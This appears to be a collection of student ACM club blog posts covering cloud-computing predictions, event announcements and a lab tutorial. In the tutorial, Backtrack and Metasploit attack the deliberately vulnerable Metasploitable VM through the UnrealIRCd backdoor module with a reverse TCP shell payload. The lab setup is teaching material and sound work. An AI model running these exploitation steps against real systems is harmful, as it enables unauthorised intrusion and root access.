A naïve prediction on how the consumer market for computational resources will look in 5 years.

In five years you won’t be able to buy laptops or desktop retail. Or at least it will be a niche market. How is this possible? With the rise of distributed computing and a shift from “computation at home”, to “computation somewhere else”, it is likely this all be outmoded soon. And this makes sense, why write code that is going to be very painful to compile when you can just throw it at a cluster? There are an increasing number of cluster operating systems and things of this nature already. So how will the shift look?

Well some people have already figured it out, namely Amazon, Google and other companies that offer computation on the web. So companies like this offer cheap resources on the web (for now) and you pay for what you use. Right now this is pretty cheap, but I doubt it will stay this way. Of course as computers continue to improve and servers continue to get “better” this will keep costs down (the faster the computer the cheaper it is to use because the less time it takes to compile a program), but eventually the market will reach an equilibrium. It is my hypothesis is that depending on the path towards equilibrium that we take, that equilibrium could have higher prices. Eventually computational resources could be more expensive.

This will lead to an increase in cost in server resources. But that is of course, if we under use our available resources. The Internet itself is just really one big computer. Some people have already started to recognize how this could be used to keep costs down. A great example is the Seattle project run by Justin Cappos. Its a system that allows you to anonymously distribute computation among a bunch of other computers around the world! (It’s free but you need to contribute resources as well) You can find more information about this here: https://seattle.cs.washington.edu/html/ . Otherwise companies will end up in an arms race to offer cheaper resources, at first, then the weak companies will die and eventually we will get an oligarchy of computational resource barons, charging for every computation.

Examples of what the future of computers will look like are already out there, in case none of this jargon really makes sense. A great example is the Chrome book by Google. It’s a computer that only lets you connect to the Internet. I believe eventually this will simply be the norm. Eventually we won’t have individual operating systems, we will just have user accounts that follow us all for all our lives from one device to the next. This will allow users to not have to transfer files. Instead your life will simply live in the cloud or on some server somewhere, virtually. Some people take this pretty far. For instance a collective of entrepreneurs are trying to create machines that we will download our consciousnesses into, thus allowing us to escape death. Here’s the idea: http://en.wikipedia.org/wiki/Mind_uploading . I think this may be taking things too far. But the work is certainly very interesting. I think that it will lead to a whole host of new technologies, however finding the “fountain of youth” is probably ridiculous.

The point of the Internet is about throwing off the chains of individual computation as much as it is about exploring personal curiosity. If we limit the amount of resources available, we could lose something important. Of course I don’t know what that is, but think about it this way: What if Google charged you to use its search engine? Let’s say you are a poor entrepreneur who wants to start a project that would give homeless youth shelter, but you didn’t have enough money to search for the right resources, so scrap the project. Let’s say that one of the homeless youth could have grown up to invent an operating system for quantum computers. Well then everyone would lose out, right?

But you would never get that if you don’t let the poor entrepreneur use the resources for free! (I know there are a lot of if’s in the above hypothesis, but just bare with me). In general this is known as positive externalities. It generally occurs in networks, where the actions you perform positively benefit others, at no cost to themselves.

Now of course companies like Google think about this right now (Google drive and Gmail are examples of free computational resources you could pay for), but for how long will this be the case?

python in a nutshell

Hey everyone, if you missed Jeremiah Malina of TECH@NYU’s demodays, you missed something worth seeing.  The presentation covered a lot of ground fast.  But most importantly he gave some excellent resources.



–functional programming in python


–a good way to python up your life (intermediate)


–for beginners


–web programming with the python web framework


–an obvious but inspired choice


–great for getting down syntax

–for someone looking for that little bit of magic in their lives (advanced)

Will get you started on your quest to python glory.

Join the ACM Mailing List

Announcements and general club discussion are first posted to our listserv at http://bit.ly/acmatnyu — join the list for timely announcements and Q&A.


WordPress Upgraded

WordPress is a popular target for malicious folks, so try to keep it up to date. :) – wwward

Difference between mathematics and computer science

Ever since I started studying Computer Science I have struggled to find a good way to differentiate it from mathematics.  Mathematicians use computers.  Mathematicians even write code.  Computer scientists certainly prove things, well at least some of them.  And they definitely use mathematics.  So what is the difference?

I think today I found my answer.  I was re-reading my data structures textbook for fun and found my answer.  It was nestled in there between a discussion of selection sort and shell sort.  Just a little musing by the author.  The discussion was on lower bounded algorithms and how their analysis is difficult.  Why is it difficult?  For a computer scientist to prove all sorting algorithms are bounded below by big-omega of n-squared, on average with adjacent exchange of elements,would require running all of the possible algorithms of this kind.

If you try to do this you will fail, because there are infinitely many ways to do this ( some will argue).  At least in theory there seems to be.  I think you could verify it for a given time period because a lack of known possible technologies.  So you could configure your hardware in a very large known possible number of ways, to get this finite approximation.  However every time new technology is discovered, you would have to add to the possible permutations.  But that’s not the point.  (Just an aside).

The point is, a computer scientist is not satisfied until they actually run an experiment on a computer.  In fact, they aren’t satisfied until they run a lot of experiments on a computer.  Whereas for a mathematician, the proof is enough.  The proof in fact, is the proof that something is true or not.  Whereas the computer scientist requires physical results.  This seems to me a curious fact.

I think this is why computer scientists refer to themselves as scientists, because CS is an experimental science.  Mathematics is too, in the sense that both disciplines play with thought experiments.  Mathematicians simply choose to do their thought experiments on paper, where as computer scientists prefer screens.


1st cyber security post

Today we will go through the talk I gave at the ACM club last semester.  I will also be talking about some resources for you, the student interested in cyber security.

Today we will be talking about backtrack and metasploitable.


Backtrack: an operating system used to penetration test systems around the world.

metasploitable: an operating system that is vulnerable, on purpose, so you can understand how to attack stuff.

Backtrack is basically a ubuntu distribution with a bunch of cyber security tools tacked on.  I recommend running backtrack through a VM rather than giving it a whole computer.  While backtrack is pretty awesome, its still a specialized OS.  If you are serious about security you should give it at least a 100 gigs of space.  (You’ll need this for nexpose).

So let’s get started:

Today we are going to use backtrack to attack metasploitable.  We could attack one of many, many vulnerabilities, but for convenience we will be exploiting the IRC vulnerability that comes with metasploitable.

So first you’ll need to download metasploitable and backtrack.





You can get a lot more packages at sourceforge that are exploitable.  I highly recommend poking around and seeing what you can play with!!!

Alright, next you need virtual box (or some other virtualization software):


There are a lot of reasons why virtual box is awesome.  However if we start getting into virtualization, we will probably never get to breaking into anything.  You can look for other posts by me on virtualization in the near future.

Important note:  Not all processors support virtualization, (most new CPU’s do).  You can check this by running:

dmesg | less

look for statements like:  “kvm: disabled by bios” and “kvm: no hardware support”

looking at the tutorial:


So once you have virtual box (what I am using) or your computer and you have downloaded the ISO files, you’ll need to install them.

You’ll need to do the following in virtualbox:

new->name: backtrack -> memory size: 1024 (just what I used) ->create a virtual hard drive now->VDI->fixed size-> 100 GB


version: ubuntu

Then you need to click on the newly created hard drive, hit the folder button, find the backtrack ISO and then hit start.

You’ll need to do the same thing for metasploitable.

Okay, now we are ready to do some hacking (almost).

Now we need to adjust some settings in our virtual machines.

Go into settings->network

You’ll need a host only adapter for both metasploitable and backtrack.  MAKE SURE YOU DO NOT GIVE METASPLOITABLE A NAT ADAPTER!!!!

If you do this you will be giving a vulnerable operating system access to the internet.  Doing this will mean your system is very easily compromisable.  Essentially its like putting up a white flag, then running up to everyone that would want to kill you and asking them to shot you, with a very large gun, on the whole internet.

What you your system should look like at this point:


You should also have a metasploitable window that looks like this:


Once you start backtrack you will need to do the following:

hit enter at boot:

Then you will need to hit text-only mode (whatever the first option is)

And a backtrack window that looks like this:

Now just type in “startx” and you will get to a GUI.

If you want to do everything from the command line, you can, but i don’t recommend it.

Okay, so now we are going to get to the attacking part!!!!

I recommend going through each of the open ports in metasploitable, because attacking each service is good experience.  Typically, non vulnerable machines will have at most 2 open ports.  In the case of mac you won’t see any ( I tried this last night).

So first you will need to log into metasploitable, the username and password are: msfadmin

now run ifconfig

Notice the ip address: , this is what we care about.

Now go into your backtrack VM

We will be running the command nmap -A -v (This is the ip address of metasploitable in our example)

It is important to note that this maybe different on your machine.  You should run ifconfig on the metasploitable vm to be sure.

If you ran nmap correctly, you should get a list of all the open ports on metasploitable, looks like 23 in all.  (Quiet a bit of practice)

Each of the ports is a specific service, which has a networking protocol.  Typically a service will always run over the same port.  For instance port 80 is always http.  (We can see its listed here)

This is how metasploit will know what services our target machine is running.  (If we were attacking a real system we would scan for a whole bunch of ports, rather than just one.)

Now open a new terminal in backtrack and run



This is metasploit, the penetration testing framework.

now run the command search scanner


This will give you a listing of all the exploits available.  Since we are going to attack IRC, we want to run:

search unrealIRCD


Now all we need to do type:

use exploit/unix/irc/unreal_ircd_3281_backdoor


Then type show options

then type set RHOST (this is metasploitable’s IP address)


Then type show payloads


Then you need to set a payload using

set PAYLOAD generic/shell_reverse_tcp

Now we have to set our host ip address.  For this run ifconfig in metasploit in a seperate window.


Now run set LHOST (backtrack’s ip address in our example)

Now simply type exploit

if all went well, you should see the screen above, just type whoami

if you see root, then you got root access!!! (the holy grail of all cyber security challenges)

Now let’s talk about references.

This is a short list of I have compiled of ways to improve your skills as a cyber security expert:


http://isisblogs.poly.edu/ <- nyu-poly’s blog


This blog is home to some of the most badass hackers and cyber security experts I know.  You can trust anything that is written here.




This is Dan Guido’s homepage.  He is one of the most knowledgeable hackers I have ever heard lecture.




A great blog, filled with tutorials and interesting articles, I highly recommend this as a secondary source to the isis blog.




Where to get pretty much any security tool you could want, for free.




A decent description of cyber security terms




A series of lectures for those interested in the policy side of cyber security




A decent overview of cybersecurity topics




More policy things.




Government R&D website




Lots and lots of security videos (some of them you have to pay for)




An overview of tools by the us government.




the reverse engineering subreddit, need I say more?



0th security tutorial – the big picture

Today will begin a series of posts on cyber security.  I hope you will all enjoy these.  I plan to update the blog with a new tutorial I’m working on at least once a week.  Over the breaks probably many times a week.

So why should you care about cyber security?  I would say there are as many reasons as their are examples of code on the internet, however its also because its a lot of fun.  Cyber security can motivate much of the technical aspects of computer science and breathe life into it.  Suddenly pointers, instructions sets, buffers, the stack, internet protocols, and much more are accessible and useful.  The question no longer becomes, why do we need to learn this?  High level languages like python do all of it for you.  To, what can we cover next?

This is because you will understand how to exploit these constructs to solve a puzzle.  The puzzle is usually, how do I get root access to this system?  But it might be how do I get this piece of information?  Or how do I get this machine to stop running without pressing the off button?  Or how do I intercept this communication before it goes from point A to point B?  Or many other interesting questions that require understanding of the internals of computational systems in a fundamental way.

In this first post, I want you to understand the skills a security professional needs.  It should be understood that these skills are only requisite if you want deep mastery of computer science and cyber security.  However these skills will come with time, they are not prerequisite  to beginning your journey into deep mastery of cyber security and computer science.

So what will you know once you have an understanding of cyber security?

-Computer Architecture

-Computer Networking

-C (the programming language)

-Operating systems

-code auditing: reading large code bases easily ~3000+ lines

This is by no means an exhaustive list however most serious security professionals know these things incredibly well.  I look forward to taking this journey with you all.  Next up, an introduction to metasploit.  Prerequisite knowledge – a primitive understanding of computer networking.

Hack Night!

Hey Everyone!

Hack Night is happening in t-minus 50 minutes in CIWW 311 (the ACM office!). We’ll be working with OpenCV, the pi, the Roomba, the MakerBot, and fielding questions relating to just about anything so swing by, hangout, and check out ALL THE THINGS!


Progteam 2012


I hope everyone’s summer was great and that the first day of class wasn’t too brutal! Progteam is starting up again on Tuesdays 6-8 and Saturdays 1-6. There will be problem solving, algorithmic analysis, and much more all in preparation for the International Collegiate Programming Competition (ICPC) on Sunday, October 28th at Stonybrook in Long Island, NY (more ICPC info here). The first meeting this Saturday 1-6 will have more information, bagels, coffee, and example problems (note: food and fun puzzles are featured at all meetings). Meet in front of the ACM room CIWW 311!

Migrated WordPress, please update your bookmarks.

New URL: http://cs.nyu.edu/acm

Report issues to www3 via e-mail. 😉



Interview Night

Hope you all had a nice, relaxing break. Just a reminder that we’re having interview night (again) on Tuesday, March 20th, at 7pm in room 317. This is a great opportunity to learn some good techniques for CS interviews, learn what to expect from them, and get a little bit of practice with algorithm/logic questions. It’s a great opportunity if you think you might be working as a software engineer, even if you already have some experience. And we’ll have free food.

P.P.S. Unless noted otherwise, our meetings are in Courant (CIWW) at 251 Mercer Street, New York, NY

The Coming Monday — Derek: Tech Talk about Tumblr!!!

Let’s keep this blog short, so it might imitate a “tumblelog.”

Event: Derek Gottfrid (derekg.org), API lead at Tumblr, will give us an interesting tech talk about Tumblr
Date: February 27, 2012 Monday
Time: 5:30pm – 7:30pm
Location: Courant Institue Room 517
Address: 251 Mercer Street, New York

Tech Startups and Wall Street

When: Tuesday, February 7th
Where: 251 Mercer St, Room 317

About the Talk
SecondMarket is continuously iterating and developing its platform for trading alternative assets. In this talk, find out from Michael Lysaght, SecondMarkets VP of Engineering, how its technology platform has gone through a number of major overhauls, the reasons for these changes and where we are today. Also Michael will discuss how software is built at SecondMarket using a blend of Test Driven Development, Agile and Scrum.

How We Work
SecondMarket’s technology team has 45 people and is located downtown in the heart of the financial district. Even though we operate in the financial markets, our goal is to dramatically change the way in which these markets work. At our core, we operate as a small technology startup. Our development teams are cross functional comprising of Engineers, Product Management, Interaction Designers and QA, all working together on the same product. Software is developed using short development cycles of two
weeks or less, so we experience the gratification of seeing our work in production quickly and often. We use industry best practices such as continuous integration and continuous deployment. Our culture is central to who we are. We encourage participation in the local NY community and we all share a passion for learning.

About SecondMarket
SecondMarket is the marketplace for alternative investments and an online destination to get market data, connect with other investors and transact in assets such as private company stock, fixed income, public equity and bankruptcy claims. SecondMarket makes it easier to transact in fragmented markets by connecting buyers and sellers in an online investment platform and providing the market and operations expertise to complete trades. Since the firm was founded in 2004, more than 75,000 individuals and institutions have signed up to SecondMarket and billions of dollars in alternative investment transactions have been completed.

ACM’s First Joint Venture with Poly’s EIA, Featuring Fred Wilson

Join NYU Poly’s Entrepreneurship and Innovation Association for their first event of the spring semester: Commercializing your idea! Hear start-up success stories from names like Fred Wilson of Union Square ventures, mingle with fellow entrepreneurs while you grub on delicious FREE food! EIA seeks to create an ecosystem that will build on NYU Poly’s i2e mission: providing students with the concepts of entrepreneurship, the benefits of self-employment, and the step-by-step path for launching and commercializing ideas.

When: February 10th, 4pm-6pm
Where: LC 400, @NYU Poly
Why: Because it will be awesome
For more information and to RSVP please email Polyentrepreneurs@gmail.com

Spring 2012 ACM Meetings

ACM meetings are on every Tuesday nights at 7PM this semester. We planned lots of exciting nights for you. You can take a look at our tentative agenda at http://cs.nyu.edu/~acmweb/wordpress/?page_id=25. Besides, you can sign up our mailing list for updated information at http://bit.ly/acmatnyu. The first meeting will be next week, 31st January 2012. We are looking forward to seeing you!

Weekly ACM Meeting Fall ‘11

What’s up, nerds?
We host a weekly meeting every Monday from 8:00 PM in CIWW Room 312.
Spend this awesome semester with coding, planning, playing and hacking (Max’s words) with us!
See you all there!

Memefactory is Friday April 22nd at 8:30 pm in CIWW 109.

1. An element of a culture or behavior that may be passed from one
individual to another by nongenetic means, esp. imitation.

Have you ever wondered where memes come from? Be prepared to take a
tour through the internet: the good, the bad, but mostly the ugly. The
gentlemen of memefactory will take you through /b/, the rules of the
internet, how to piss off Xzibit, how much power you need (hint: it’s
> 9000), what you should do when the low battery light comes on and
you’re busy (challenge accepted), how to save money, and more. There
will be pizza and soda, as usual. Don’t miss this one. Seriously.
We’ve been planning this all year.

Memefactory is Friday April 22nd at 8:30 pm in CIWW 109.

A great video by Eric Hong: ACM @ NYU – MakerBot + EggBot

Like the video?
Just come to our weekly meetings.
The MakerBot and the EggBot are waiting for you =)


Daniel Goddemeyer will give a talk about IDEO this Tuesday

Daniel Goddemeyer, an employee at IDEO will come in to meet us on 3/22 (first Tuesday back from break).
We will start at our usual 7 pm and would go for about an hour or so.
You will want to go to room 317 in Warren Weaver Hall (251 Mercer Street, New York NY).

What is IDEO? source: Wikipedia
IDEO is a design and innovation consultancy founded in Palo Alto, California, United States with other offices in San Francisco, Chicago, New York, Boston, London, Munich and Shanghai. The company helps design products, services, environments, and digital experiences. Additionally, the company has become increasingly involved in management consulting.

ACM meeting tomorrow (3/1)


We will be having a meeting tomorrow (3/1) at 7 PM in CIWW 317. We will be working on both the 3D printer and Egg Bot, but the highlight of tomorrow will 3 more demos. They are:

Tengchao: Another implementation of SOLE that integrates the hash function of Blake, one of the SHA-3 finalists.
Andrew: Graphics, animation, and UI with Processing
Tamreen: Quick Introduction to Haskell

See you all there!